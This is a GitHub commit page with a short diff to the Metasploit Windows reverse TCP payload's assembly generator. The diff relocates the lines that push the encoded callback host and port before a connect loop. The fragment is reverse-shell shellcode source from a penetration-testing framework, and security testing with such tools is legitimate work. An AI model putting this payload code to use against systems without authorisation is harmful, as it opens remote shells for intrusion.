We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
There was an error while loading. Please reload this page.
1 parent 44cb65d commit 27f9611Copy full SHA for 27f9611
lib/msf/core/payload/windows/reverse_tcp.rb
@@ -175,14 +175,13 @@ def asm_reverse_tcp(opts={})
175
push edi ; socket
176
push #{Rex::Text.block_api_hash('ws2_32.dll', 'bind')}
177
call ebp ; bind( s, &sockaddr_in, 16 );
178
+ push #{encoded_host} ; host in little-endian format
179
+ push #{encoded_port} ; family AF_INET and port number
180
+ mov esi, esp
181
^
182
end
183
184
asm << %Q^
- push #{encoded_host} ; host in little-endian format
- push #{encoded_port} ; family AF_INET and port number
- mov esi, esp
185
-
186
try_connect:
187
push 16 ; length of the sockaddr struct
188
push esi ; pointer to the sockaddr struct
0 commit comments